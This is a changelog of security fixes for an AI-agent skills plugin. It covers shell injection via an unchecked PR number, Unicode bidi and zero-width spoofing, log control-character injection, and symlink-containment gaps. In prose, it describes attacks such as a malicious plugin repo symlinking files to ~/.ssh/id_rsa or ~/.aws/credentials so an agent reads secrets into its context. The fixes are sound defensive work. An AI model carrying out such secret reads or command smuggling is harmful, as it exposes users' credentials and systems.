Changelog

All notable shipped versions of ievo-ai/skills. Forward roadmap (planned items) lives in AGENTS.md § Roadmap.

Entries are reverse-chronological (newest first) and reference the merging PR + the Eva proposal / external trigger where applicable.

---

v0.80.6

Closes an Eva vuln-scan finding (skills#606): commands/vuln-scan.md's --pr N scope resolution built gh pr diff <N> --name-only straight from the user-supplied PR number, with no validation (CWE-78).

• commands/vuln-scan.md — the --pr N scope-determination block now checks the PR number against ^[0-9]+$ (a bare positive integer — the only legitimate shape for a PR number) in the agent, before any Bash is emitted, refusing in prose rather than running a command built from an unchecked value; only a validated number reaches the shell, inlined as literal digits into gh pr diff <N> --name-only. The block also states why the enforcement point has to sit there rather than in the emitted script: <N> arrives by text substitution into the command the agent writes, so a bash-side PR_NUMBER="<N>" + [[ "$PR_NUMBER" =~ ^[0-9]+$ ]] guard runs after the double-quoted assignment has already performed command substitution — it would print a rejection for a payload that had already executed.
  • Why a PR number is worth validating at all — it is usually typed by a human, but one populated from a less-trusted source (extracted by a scripted automation trigger from an issue/comment body, say) could smuggle shell metacharacters into the literal gh pr diff command line.
• This is the one respect in which --pr does not mirror the sibling BASE_BRANCH validation (^[A-Za-z0-9._/-]+$, no leading -, no ../@{) above it in the same file. BASE_BRANCH is produced at runtime by $(git …)/$(gh …) and lands in a variable, and bash does not re-expand a variable's value, so a shell-level guard genuinely runs before that value is ever used as syntax — for as long as it stays a variable, inside the one Bash call that produced it. The --diff block above already flags the other case: split the resolution and the use across separate Bash calls and the variable is gone, the branch name must be re-embedded as literal text, and it is then "exactly as dangerous as it was in the first" — <N>'s problem again. The qualification is now stated at the point the contrast is drawn, so the two halves of that file no longer read as contradicting each other. That pattern is sound and is unchanged by this release; only the --pr path, where the value is substituted in as command text, needed the check moved ahead of the shell.
• Citing sites re-synced — AGENTS.md (PR-facing read paths) and plugins/ievo/skills/vuln-scan/SKILL.md (§ Sandbox hardening) both quoted the old, unvalidated gh pr diff <N> --name-only literal; both now describe the validated form and where the check happens, so no doc in the repo still describes the pre-fix behaviour.

v0.80.5

Closes an Eva vuln-scan finding (skills#600): the C0-control-character strippers shared across scan_repo.mjs/validate_agents.mjs/validate_skills.mjs didn't strip Unicode bidi-override/isolate or zero-width characters.

• escapeMdCell() (scan_repo.mjs) and CONTROL_CHAR_RE (validate_agents.mjs, validate_skills.mjs) — all three identical strippers previously matched only the ASCII C0 control range plus DEL (/[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/g), leaving every Unicode Bidi_Control code point (U+061C ALM, U+200E-U+200F LRM/RLM, U+202A-U+202E, U+2066-U+2069 — the complete, closed set) and the zero-width characters (U+200B-U+200F, U+FEFF) untouched; the isolate range is widened to the full U+2060-U+2069 invisible-operator block. Attacker-controlled frontmatter/manifest fields carrying these code points survived into rendered community-index Markdown (scan_repo.mjs) or CI/pre-commit violation output (validate_agents.mjs/validate_skills.mjs) — a Trojan-Source-style visual spoof for the human reviewer security-auditor relies on that rendering for. All three definitions extended in lockstep, same as their existing ASCII-range parity.
• name-dir-mismatch compares the parent directory name RAW (validate_skills.mjs) — the CWE-150 strip skills#495 added in validateSkill() moved into validateSkillContent(), applied only where the directory name is interpolated into the violation message. fm.name is already stripped by parseFrontmatter(), so stripping the directory side too made both sides of the equality test collapse to the same value: a skill directory literally named deep<U+200B>-review next to name: deep-review stopped tripping the rule — the on-disk spoof it exists to catch, and one the widened character class above would otherwise have newly enabled. Comparison is raw, rendering is stripped; the ESC-byte guarantee in the printed message is unchanged.
• name is format-checked RAW (validate_skills.mjs) — the mirror image of the bullet above, caught by Eva's PR review. parseFrontmatter() strips before validateSkillContent() ever sees a value, so NAME_PATTERN was being tested against the normalized name: every code point the widened class removes is outside [a-z0-9-], so name: deep<U+200B>-review used to error name-invalid-format (ZWSP ∉ the pattern) and, once the widening landed, collapsed to a clean deep-review that lints clean — and matches a directory of that literal name, shipping a homograph. parseFrontmatter() now takes { strip: false } for a raw view of the same frontmatter (key set identical — the strip touches values only), and the name check errors when the two views differ, with the stripped form in the message so the CWE-150 sink guarantee is untouched. Only the name check reads raw; every printed value still comes from the stripped view.
• model:, effort: and every length cap are judged RAW too (validate_skills.mjs, validate_agents.mjs) — the same verdict-flips-on-strip defect as the bullet above, caught by Eva's next PR review, in every check the previous pass had left reading the stripped view. checkModelField/checkEffortField in both validators received fm.model/fm.effort post-strip, and every code point the widened class removes is outside the charset of every allowed alias and effort level — so model: opus<U+200B> and effort: high<U+200B> normalized into a clean opus/high, were found in ALLOWED_MODELS/VALID_EFFORT_VALUES, and linted clean, where the pre-widening ASCII class had correctly flagged them model-not-allowed/invalid-effort-value. The three length caps under-counted for the same reason: the strip shortens what it touches, so a description:/compatibility:/name: padded past its spec limit with zero-width characters measured short and passed. validate_agents.mjs's parseFrontmatter gained the { strip: false } option validate_skills.mjs's already had; both validators now take the raw view once per file and route every strip-sensitive verdict through it — model, effort, and the name/description/compatibility character counts — while presence checks ("is this field effectively empty?") deliberately stay on the stripped view, where a value made only of invisible code points is correctly an absent field. Rendering is unchanged: checkModelField/checkEffortField strip at the interpolation site and report the mismatch in a dedicated branch, so the message never claims a visibly-valid opus/high is invalid, and no raw control byte reaches a message main() prints. Side effect worth noting: a model: whose value is nothing but invisible characters now errors instead of being skipped by a falsy-guard.
• Tests (this pass) — validate_skills.test.mjs/validate_agents.test.mjs cover checkModelField/checkEffortField against one representative per stripped range (ZWSP, RLO, an invisible-operator isolate, BOM, ALM, a C0 ESC byte), assert the message carries the stripped form and no raw code point, pin that an unaffected value still takes its original branch, and add end-to-end validateSkillContent/validateAgentContent regressions for the spoofed model:/effort: pair plus an all-invisible model:. The three length caps are covered at exactly-the-limit-plus-invisible-padding, asserting the reported count is the raw one. validate_agents.test.mjs also gained the { strip: false } raw-view test its sibling already had. Payload characters are built with String.fromCodePoint rather than embedded literally, so a test file about invisible characters does not itself contain any.
• Widened during the Phase 4.5 /ievo:deep-review pass — scan_repo.mjs has a second, separate CONTROL_CHAR_RE constant (added in v0.80.4/skills#601, guarding the CLI's args.repo format-validation error message) whose own comment claimed "same character class as escapeMdCell's inline strip below" — a claim the first pass silently broke by widening only the inline regex. Folded into this PR rather than deferred, since it's the identical one-line widening already applied three times above it, in the same file, and left the comment's own claim false. discover.mjs's parallel CONTROL_CHAR_RE (guarding its own CLI/stdin error-message sinks) was initially left out on the grounds that it carried no parity claim — wrong on the facts, as Eva's PR review caught: the comment above it says the per-file copy "mirrors validate_skills.mjs/validate_agents.mjs's own CONTROL_CHAR_RE", so widening those two made that sentence false while leaving the class ASCII-only. Same stale-parity defect as the scan_repo.mjs copy above and _safe-read.mjs below, and in the sink where it matters most — --stack-file/stdin echoes go to a raw terminal or CI log, which is where U+202E RLO actually re-orders the line rather than being inertly rendered in a Markdown cell. Widened to the identical class. (evolution_candidates.mjs's echo sites are still NOT folded in — untouched by this issue, not named by it, and asserting no parity with the widened class; left as a known follow-up rather than expanding scope, mirroring v0.80.4's own scope call.)
• sanitizeForLog() (.github/scripts/validators/_safe-read.mjs) — the same stale-parity defect as the bullet above, in the one remaining sink that had claimed to be stricter than the widened class. Its LOG_UNSAFE_RE covered every C0 control byte plus the Unicode line-separator trio (U+2028/U+2029/U+0085) but no Bidi_Control or zero-width code point, while its comment still enumerated the validators' CONTROL_CHAR_RE at the pre-widening ASCII range and framed itself as a superset of it — both claims false once that class was widened. This sink is a raw CI log stream (gh run view --log), i.e. exactly where U+202E RLO does re-order the rest of the line, so an attacker-chosen path or file excerpt on a fork PR could reverse the violation message a reviewer reads. Widened to the same bidi/zero-width set, keeping CR and the line-separator trio as the only deliberate difference, and the comment rewritten as an explicit superset contract. Six pre-commit validators plus check-coverage.mjs/check-version-bump.mjs share this sink. Infra-only path — no additional version bump (AGENTS.md § Version bumping).
• escapeMdCell() now references CONTROL_CHAR_RE instead of re-inlining it (scan_repo.mjs) — the two copies in that file were byte-identical literals, which is how the widening above missed one of them in the first place. One definition, both sinks; behaviour unchanged (sharing a /g regex across String.replace call sites is safe — replace resets lastIndex), and the character-class enumeration now lives in exactly one comment.
• Tests — scan_repo.test.mjs gained escapeMdCell coverage for bidi-override/isolate (incl. ALM) and zero-width/BOM collapsing plus a just-outside-the-range boundary check, and a regression test mirroring the existing skills#601 args.repo ESC-byte test for a bidi-override/zero-width payload; validate_agents.test.mjs/validate_skills.test.mjs extended the existing CONTROL_CHAR_RE unit test with the new matched/non-matched code points and added parseFrontmatter integration tests mirroring the existing ESC-byte regression tests; validate_skills.test.mjs additionally covers that a zero-width character in a directory name still trips name-dir-mismatch while being stripped from the message. _safe-read.test.mjs gained matching sanitizeForLog coverage for the bidi/zero-width sets and a nine-point just-outside-the-range boundary check (asserting the neighbouring Unicode spaces survive verbatim, since this sink does no whitespace collapse), extended the per-validator CLI regression to carry a bidi-override alongside the existing ESC byte, and added a mechanical superset test that walks the whole BMP and asserts every code point either validator's CONTROL_CHAR_RE strips also vanishes here — so the prose claim can never silently go stale again. discover.test.mjs gained the same two-part CONTROL_CHAR_RE unit coverage (every Bidi_Control code point and zero-width character matched; an eleven-point just-outside-the-range boundary check unmatched) plus three bidi-override/zero-width regression tests mirroring its existing skills#601 ESC-byte ones — the invalid --limit value, the forgotten-value flag echo, and both stderr sinks the review named (the --stack-file containment-error path echo and the stdin "First 200 chars" echo, the latter covering V8's raw-snippet err.message on the line above it at the same time).
• Version — fix: → patch per AGENTS.md's bump table (security hardening, no new capability). discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.80.4 → 0.80.5, next free slot per AGENTS.md's version-bump race convention — 0.80.1/0.80.2 stale-claimed by open, unmerged PRs #597/#598, main already at 0.80.4 at push time).

v0.80.4

Strip control characters from attacker-influenceable CLI/stdin input before it reaches discover.mjs/scan_repo.mjs error messages — closes skills#601, Eva /ievo:vuln-scan dogfooding finding (CWE-117).

• Gap closed — four errLog()/console.error call sites echoed raw, attacker-influenceable input with no control-character stripping: discover.mjs's --stack-file read-failure and parse-failure messages (raw args.stackFile), its stdin parse-failure "First 200 chars" echo (raw stdinText slice), and scan_repo.mjs's args.repo format-validation failure message (the value most likely to carry attacker-chosen characters, since it just failed the owner/repo charset check). A crafted ESC byte (0x1B) or other C0 control byte in any of the four would survive untouched and inject ANSI/control sequences into a terminal or CI log viewer. validate_skills.mjs/validate_agents.mjs already guard their own frontmatter-value/path echoes with a CONTROL_CHAR_RE-style filter; these two scripts had no equivalent.
• Widened during the Phase 4.5 /ievo:deep-review pass — the independent reviewer flagged that discover.mjs's own CLI numeric-arg parsing (parsePositiveInt's "requires a positive integer" message, requireValue's "requires a value, got flag" message — both reachable via main()'s parseArgs catch) shared the identical unsanitized-echo pattern this PR was already fixing two functions below, in the same file. Folded into this PR rather than deferred, since the fix is the same one-line CONTROL_CHAR_RE strip already applied four times just above it. evolution_candidates.mjs's parallel --text-file/CLI-arg echo sites were NOT folded in — flagged by the same review pass, but that script is untouched by this issue and not named by it; left as a known follow-up rather than expanding scope into an unrelated file.
• Widened again during Eva's PR review — the first pass sanitized only the values this code interpolates itself, which left the adjacent ${err.message} in the same template strings as an open bypass: an Error raised by the runtime re-embeds the exact bytes just stripped. Three sites, all in discover.mjs's main() — the --stack-file read failure (a path that clears the lexical containment check but does not exist reaches lstat, whose ENOENT message quotes the raw path back), and both JSON.parse failures (V8's message quotes a ~12-char snippet of the raw input, on the line directly above the already-sanitized stdin First 200 chars: echo). Each now strips err.message too.
• Widened once more during Eva's second review pass — the partial-failure [discover.mjs] WARN: n/m skills.sh queries failed: ... echo in the same main(), ~30 lines below the sites above, joins error_details[].query into the message. Those queries are built by buildQueries() directly out of the stack's languages/deps/categories/frameworks strings — the same stdin/--stack-file input already sanitized at the parse-failure echoes — so a partial skills.sh failure reopened the identical CWE-117 sink on stderr (the stdout JSON is machine-parsed and out of scope). The joined string is now stripped as a whole; the counts around it are ours. The adjacent codex and output.error WARNs are not sinks — both echo fixed literals ("unparseable codex output", "no queries derived from stack …"), never attacker input.
• Fix — added a local CONTROL_CHAR_RE constant (/[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/g) to each file, per-file copy rather than a shared import (mirrors the existing convention — each sink's exact character class is tuned to its own risk model), and applied .replace(CONTROL_CHAR_RE, "") at all seven echo sites (the four named by the issue, plus the two discover.mjs CLI-arg sites and the partial-failure WARN above). discover.mjs's --stack-file path is sanitized once into a safeStackFile local before either error message uses it; the underlying raw args.stackFile is still used for the actual containment/read checks — only the echoed copy changes. Output-only change: no behavior/exit-code change.
• Tests — added coverage in tests/discover.test.mjs (stdin "First 200 chars" echo, --stack-file containment-error echo, invalid --limit value, forgotten-value flag echo, plus one per err.message site above and one for the partial-failure WARN) and tests/scan_repo.test.mjs (invalid args.repo echo), each asserting the raw control byte is stripped while the surrounding text survives. The three err.message tests are written to actually reach the leaking branch — a path inside .ievo/ so containment passes and lstat runs, and parse inputs that don't start with {/[ with the control byte inside V8's snippet window, since the cheaper inputs fail earlier with a control-char-free message and would pass even against unfixed code. 100/100/100 coverage maintained on both scripts.
• Scope — plugins/ievo/scripts/discover.mjs, plugins/ievo/scripts/scan_repo.mjs, and their existing test files. scan_repo.mjs's SCRIPT_VERSION is intentionally NOT bumped (decoupled scanner-output-format version, unrelated to this change).
• Version — fix: → patch per AGENTS.md's bump table (0.80.0 → 0.80.4; 0.80.1/0.80.2 concurrently claimed by open PRs #597/#598, and 0.80.3 taken by #599/#603 which merged to main while this PR was open — next free slot per AGENTS.md's version-bump race convention, re-queried at push time as that convention requires. Left at the now-duplicate 0.80.3, cut-release.yml's idempotency check would have found the existing v0.80.3 tag and skipped the cut, silently shipping no release for this fix.) discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

v0.80.3

Guard scan_repo.mjs's main() against an uncaught throw on a zero-commit / unborn-HEAD repo (CWE-20) — closes #599.

• Adds mainSafe() to plugins/ievo/scripts/scan_repo.mjs, mirroring the existing mainSafe() pattern already used by discover.mjs and evolution_candidates.mjs in the same directory. main() already guards checkoutOrRefresh and assertCheckoutContained with their own try/catch, but the calls right after them — getCommitSha/getLastCommitDate — run through the module's run() helper with its default check: true, so a non-zero git exit throws uncaught. A zero-commit/unborn-HEAD public repo clones successfully (nothing for checkoutOrRefresh to fail on) and then crashes the scan process at that point.
• CLI entry guard now calls mainSafe() instead of main() directly. main() itself — its exported signature and its two pre-existing try/catch blocks — is unchanged.
• Regression test (scan_repo.test.mjs) reproduces the zero-commit scenario end-to-end: first proves main() still throws uncaught (documenting the gap the fix closes), then proves mainSafe() catches the identical throw and exits 2 with a fatal: ... message instead of crashing.
• Self-filed security finding — Eva /ievo:vuln-scan dogfooding run (eva#165), self-approved per eva#132's skeptic-mode trust matrix (surface confined to plugins/ievo/**).
• Version — fix: → patch per AGENTS.md's bump table. plugin.json, marketplace.json, and the AGENTS.md compliance ledger jump 0.80.0 → 0.80.3 (next free slot per AGENTS.md's parallel-PR race guidance, not a skipped/reserved range) rather than 0.80.1, since other open PRs already claimed the intervening versions at bump time. scan_repo.mjs's own SCRIPT_VERSION is exempt — it's an intentionally decoupled scanner-output-format version (v0.6.6/#47), unrelated to this fix.

v0.80.0

/ievo:evo-auto-enable hook scripts ship as real, committed files instead of markdown-embedded, per-clone-generated ones — closes skills#552's "scripts should live in the plugin" ask, operator-confirmed security tradeoff.

• Replaces the tracked-dispatcher-shim / gitignored-.local.sh-companion split (skills#446, skills#551) with five directly-committed files. plugins/ievo/skills/evo-auto-enable/scripts/{correction-capture,evo-analysis-nudge,failure-capture}.sh are now real source files in the plugin — /ievo:evo-auto-enable Step 3.5.1 copies them, plus the existing evolution_candidates.mjs/scrub.mjs, directly into .ievo/hooks/scripts/ in the consumer project, all five committed (no gitignore, no vendor/ directory, no per-clone regeneration step). A plain git clone of a project that already ran this skill once gets working hooks immediately.
• Deliberate, explicit security tradeoff. The prior design kept real capture/scrub logic gitignored specifically so no PR to a consumer project could silently alter it — only a four-line dispatcher was ever committed. This version trades that gitignore-enforced immunity for hooks that work the instant a project is cloned, with no drift window where the flag claims "enabled" but nothing is on disk yet. Consequence stated to the user in Step 5 and in the skill's own Rules: review any diff to .ievo/hooks/scripts/* as executable code, not config — a diff there is never routine churn.
• evo-analysis-nudge.sh simplified, not gutted. The vendor/- and .local.sh-companion-aware presence checks from #551 are gone — those concepts no longer exist. A flat, five-filename presence check replaces them: committing the files only guarantees presence when Step 3.5.1's gitignore reconciliation (an LLM-interpreted prose step, not compiled code) actually widened the negation correctly, so a stale or partially-applied .gitignore could still leave evolution_candidates.mjs/scrub.mjs gitignored while the .sh files land committed — this check catches that. The hook-config-entries-wired check, pending-candidate count, and autocommit-failed note logic (skills#552's earlier auto-commit feature) are unchanged.
• evo-auto-disable, init Step 10, hooks-setup Step 8 updated to match. Disable no longer deletes anything under .ievo/hooks/scripts/ (the five files self-gate on the flag and are harmless left in place once both the flag and hook entries are removed). The shared gitignore negation block widens from 3 to 5 filenames, byte-identical across all three skills; existing installs on the older 3-filename block get upgraded on next re-run.
• evo-auto-enable/SKILL.md Step 3 clarifies a real path divergence. pending.md is always project-root-relative; the raw per-session .jsonl capture files (evolution_candidates.mjs append) target the repo's git-common-dir when inside a git working tree (since v0.78.8/#564) — a different physical location. count/list/prune already merge both transparently; the prose previously didn't say so.
• Test suite rewritten, not just adapted: evo-auto-hooks-lifecycle.test.mjs drops the shim/companion-delegation tests (that behavior no longer exists) and adds real-execution coverage for correction-capture.sh and failure-capture.sh that the prior markdown-fence-extraction approach never actually exercised (CWE-78 shell-quoting safety, scrub-before-persist, fail-closed on missing dependencies, outcome mapping across PostToolUseFailure/PermissionDenied/Codex PermissionRequest).
• Version — feat: → minor per AGENTS.md's bump table (changes what ships and how, not a pure fix). discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.79.2 → 0.80.0).

v0.79.2

Follow-up to v0.79.1 — clears a stale wording leftover from that fix, flagged on PR review after v0.79.1 merged.

• evo/SKILL.md Step 5.4 point 3 and agents/evolution.md Step 4.4 point 3 — "the resolved (or assumed) default branch" → "the resolved default branch". The "assumed" branch referred to the name-list fallback removed in v0.79.1; nothing is assumed anymore once that fallback is gone. Wording only, no functional change.
• Version — fix: → patch. discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.79.1 → 0.79.2).

v0.79.1

Follow-up to v0.79.0 — drops a dead branch in the auto-commit gate's default-branch resolution, flagged on PR review after v0.79.0 merged.

• evo/SKILL.md Step 5.4 point 2 and agents/evolution.md Step 4.4 point 2 — removed the main/master/trunk/develop branch-name fallback used when git symbolic-ref refs/remotes/origin/HEAD fails. Both outcomes (name matches an assumed default / doesn't) already resolved to the identical "skip auto-commit, fail closed" result, so the name check never changed behavior. No functional change — the fail-closed skip on an unresolved symbolic-ref still applies unconditionally.
• Version — fix: → patch per AGENTS.md's bump table (dead-code removal, no new capability). discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.79.0 → 0.79.1).

v0.79.0

Auto-commit /ievo:evo lesson captures onto a feature branch, on both the direct-execution and default sub-agent delegation paths — closes part of #552.

• New Step 5.4 (evo/SKILL.md) and Step 4.4 (agents/evolution.md) — after Step 4 appends a lesson to its overlay file, this step resolves the current branch (git branch --show-current), resolves the repo's real default branch (git symbolic-ref refs/remotes/origin/HEAD — never hardcoded main), and, only on a confirmed non-default feature branch, stages and commits exactly the overlay file path with git commit --only <path> -m "docs(evolution): <path>" — never git add -A, never git push. Fails closed: whenever default-branch status can't be positively confirmed (no remote configured, detached origin/HEAD), auto-commit is skipped and the file is left uncommitted, same as before this feature. <overlay-file-path> is validated against a fixed regex before it ever reaches a command line, and the commit message reuses that validated path rather than the lesson's free-text title — a title can legally contain backticks or $(...) that a double-quoted -m string does not neutralize.
• First time /ievo:evo runs git at all. Every prior version only ever wrote files. On a project without an existing broad git-allow rule, the first lesson captured on a non-default branch may trigger a one-time Bash(git commit) permission prompt.
• Headless failures are recorded, not silently dropped. If the commit itself fails (e.g. a pre-commit hook rejection) during a headless/autonomous invocation, a Scope: autocommit-failed entry is appended to .ievo/evolution-candidates/pending.md instead of retrying or blocking — the overlay entry Step 4 already wrote is never lost. evo-auto-enable/SKILL.md's SessionStart nudge surfaces these entries on the next interactive session, but only in a project where auto-evo mode (.ievo/evo-auto.flag) is actually enabled; both step reports now say so explicitly and point at manual review of pending.md when the flag is absent, instead of implying the nudge will always catch it.
• Scope — plugins/ievo/skills/evo/SKILL.md (new Step 5.4 + updated Step 6 report), plugins/ievo/agents/evolution.md (new Step 4.4 + updated Step 5 report, plus four new closed-Bash-allowlist templates: branch resolution, default-branch resolution, git add, git commit --only), plugins/ievo/skills/evo-auto-enable/SKILL.md (pending.md scaffold's autocommit-failed entry kind + the SessionStart nudge's ^- Scope: autocommit-failed$ detector). No .mjs script changes; evo-auto-enable/SKILL.md's evo-analysis-nudge.local.sh template body — extracted and executed verbatim by .github/scripts/validators/tests/evo-auto-hooks-lifecycle.test.mjs's existing lifecycle suite (#551) — gains 6 new cases covering the autocommit-failed grep detector and its message-assembly branches (fresh scaffold stays silent, a real entry fires, the note appends after each of the drift/count/combined/bare-else branches).
• Upgrade note — if .ievo/evolution-candidates/pending.md was created by an earlier /ievo:evo-auto-enable run, it may still carry that older scaffold's standalone - Scope: autocommit-failed example line. That line now exact-matches the SessionStart nudge's detector and would falsely claim a commit is pending even though no real capture ever failed. Check the file and delete that line manually if present — the current scaffold deliberately keeps this field out of a standalone line to avoid reintroducing the same false positive.
• Version — feat: → minor per AGENTS.md's bump table (new capability, not a fix). discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.78.13 → 0.79.0).

v0.78.13

Close a CWE-59 symlink-containment gap in commands/update.md's vendor-refresh recipe — closes #583.

• Gap closed (#583) — update.md Step 2 sub-step 3 canonicalizes and validates only $CHECKOUT_DIR/<source.path> (the directory or file itself) before sub-step 5 (now 6) enumerates it with Glob and Reads/Writes every listed entry into <stage-dir> — with no per-entry containment check. A symlink planted inside an already-vendored skill's upstream directory (attacker now controls or has compromised that upstream) would pass the one directory-level check untouched, and its resolved target's bytes would be Read and staged before Step 2.5's re-audit ever runs, regardless of where the symlink points.
• New sub-step 4 ports the same review-hardened pattern already merged in evolution.md (v0.78.11, #587) and install-protocol.md (v0.78.12, #590), adapted for this file's source.path naming and its sub-step 5/6 ordering (agent-then-skill): git -C "$CHECKOUT_DIR" -c core.quotePath=false ls-files -s | grep '^120000' (no path argument) before either fetch sub-step, refusing the whole target if any returned, segment-compared symlink entry is equal to source.path, under it, or an ancestor of it — reported as SKIPPED — invalid source metadata in Step 6, same as a Step 1 validation or sub-step 3 containment failure. -c core.quotePath=false plus a fail-closed refusal on any still-quoted path keeps the comparison from being silently defeated by an unusual filename.
• The source.path side of that comparison is normalized into the git listing's own normal form — all four rules, in order. Unlike the sibling files, whose path is walked out of a real cloned tree and is therefore always clean, update.md's source.path is raw overlay frontmatter deliberately left unvalidated for its exact characters, so it must be normalized before it can be segment-compared against ls-files output: collapse repeated /, drop . segments, refuse the target on any surviving .. segment, strip a trailing / (and strip one from the listed entry too). The .. rule is a refusal rather than a resolution, and sub-step 3 now enforces it up front — rejecting any .. in source.path, including one that resolves back inside $CHECKOUT_DIR. Containment alone would let skills/x/../vendor-skill through, and its segments (skills, x, .., vendor-skill) then match no index line, so a symlinked skills/x is neither equal to, under, nor an ancestor of the target and sub-steps 5-6 Read/Glob straight through it. Resolving the .. lexically instead would not close it: x/../y means $CHECKOUT_DIR/y under a lexical collapse but the parent of whatever x points at under a real path walk, and the two readings diverge on exactly the symlinked x this check hunts for. A legitimate source.path can never contain a .. (git refuses a bare .. tree component, and /ievo:init writes the value from a walked tree path), so refusing costs nothing.
• Sub-step 6 also checks each Glob match's own relative path — no .. segment, not absolute — porting install-protocol.md's "How to fetch the tree" sub-step 5 check. Sub-step 4 guards an entry's type (a symlink redirecting a read); this guards its name (a forged relative path redirecting the Write), and an ordinary non-symlink file can still carry one, which would place the staged Write outside <stage-dir>/<name>/. One deliberate difference from install-protocol.md, which skips the offending file and continues: here a failing match refuses the whole target, because Step 2.5 diffs the staged tree against the local copy as a unit and a silently dropped file would read as an upstream deletion.
• Scope — plugins/ievo/commands/update.md only (new sub-step 4 with renumbering 4→5, 5→6, 6→7; the .. refusal and normal-form definition in sub-steps 3/4; the per-match relative-path check in sub-step 6; plus the Step 2 stop-conditions paragraph, the Step 6 report line and two new Rules-section bullets cross-referencing the two prior landings); the rest of the diff is the mandatory version-bump ceremony below. No script/test changes — this file is pure Markdown instructions with no code path for node --test to cover. The companion evolution.md finding (#582) and install-protocol.md finding (#590), filed in the same Eva vuln-scan run, are already closed (v0.78.11, v0.78.12).
• Version — fix: → patch per AGENTS.md's bump table (0.78.12 → 0.78.13). discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

v0.78.12

Close a CWE-59 symlink-containment gap in init/references/install-protocol.md's vendor-fetch recipe — closes #590.

• Gap closed (#590) — install-protocol.md's "How to fetch the tree" is the fetch recipe behind /ievo:init Step 8a's install path. Its only containment check (sub-step 4, now 5) validated each Glob-enumerated entry's path string for a .. segment — it never inspected whether the entry itself was a symlink (mode 120000) before the skill case's Glob/Read or the agent case's direct Read. A malicious plugin repo could ship, say, <skill-dir>/assets/logo.png as a symlink to ~/.ssh/id_rsa, and that secret's contents would flow into context and, on a clean re-audit, get written into the project's own trusted .claude/skills//.claude/agents/ tree.
• New sub-step 4 ports v0.78.11's now-merged, review-hardened evolution.md pattern (below) rather than the pre-review version this issue originally cited: git -C "$CHECKOUT_DIR" -c core.quotePath=false ls-files -s | grep '^120000' (no path argument — the untrusted <source-path-in-repo> never reaches the shell) before either fetch sub-step, refusing the whole item (skill or agent) if any returned, segment-compared symlink entry is equal to <source-path-in-repo>, under it, or an ancestor of it — logged as FAILED: symlink entry detected in Step 9's existing <ok|FAILED: reason> log line. -c core.quotePath=false plus a fail-closed refusal on any still-quoted path (git escapes double quotes/backslash/control chars regardless of that flag) keeps the comparison from being silently defeated by an unusual filename.
• Ancestor-symlink and path-quoting cases included from the start, not ported verbatim from the original PR #587 pattern. At build time, PR #587's equivalent fix to evolution.md (#582) — the obvious porting source — carried an unresolved CHANGES_REQUESTED review: its original match rule (entry equals-or-starts-with the target path) misses a symlinked ancestor directory of the target, since git indexes a symlinked directory as a single tree entry with none of "its" contents listed separately, so the entry never appears nested under the target path even though the target is only reachable by walking through it. A sibling issue (#589) was independently rejected for citing that same still-open pattern as a finished fix to port. This fix built the missing ancestor comparison directly, then independently found (via this PR's own /ievo:vuln-scan pass) the identical core.quotePath quoting gap PR #587's own review also caught. PR #587 merged (as v0.78.11, above) with both fixes — including a segment-based comparison and fail-closed quoted-path handling more complete than this PR's first draft — while this PR was still in flight; rebasing onto it, this fix now ports v0.78.11's final, review-hardened pattern verbatim (adapted for this file's <source-path-in-repo> naming and its sub-step 5/6 ordering, which is skill-then-agent rather than evolution.md's agent-then-skill) rather than keeping its own independently-arrived-at, less complete version.
• Scope — plugins/ievo/skills/init/references/install-protocol.md only (sub-step renumbering 4→5, 5→6, plus updated cross-references in the "Agent:" section and the closing Bash-command-surface note); the rest of the diff is the mandatory version-bump ceremony below. No script/test changes — this file is pure Markdown instructions with no code path for node --test to cover. The same CWE-59 gap remains open in security-check/SKILL.md's "How to fetch files" (and the security-auditor.md sub-agent that defers to it) — already tracked via #589, pending a re-file/reopen once it can cite this landed pattern rather than PR #587's pre-review one.
• Version — fix: → patch per AGENTS.md's bump table (0.78.10 → 0.78.12; 0.78.11 landed via #587 while this PR was in flight, so this PR rebased onto the new main and takes the next free slot — 0.78.11 was also concurrently claimed by still-open PR #586 at push time, reinforcing the same next-free-slot choice). discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

v0.78.11

Close a symlink-containment gap in agents/evolution.md's agent/skill vendor-fetch — Eva vuln-scan dogfooding finding, #582.

• Gap closed (#582) — Step 2's "How to fetch source" enumerated a freshly-cloned agent/skill tree with the Glob tool and Read each listed file into context (skill case), or Read a single target file directly (agent case), with no check that any of those tree entries was itself a symlink. Git preserves a symlink as an ordinary tree entry (mode 120000); if the checkout materializes it as a real OS-level symlink, Read follows it like any other file — so a malicious plugin repo could ship e.g. skills/<name>/assets/logo.png as a symlink to ~/.ssh/id_rsa or ~/.aws/credentials, and that secret's contents (not the plugin's own file) would flow into context and, on a GREEN Step 2.5 re-audit verdict, get written into the project's own trusted .claude/agents//.claude/skills/ tree (CWE-59). The same threat class was already fixed with lstatSync-based no-follow guards in scripts/validate_skills.mjs/validate_agents.mjs/scan_repo.mjs, but never carried into this agent-instruction-driven vendor path.
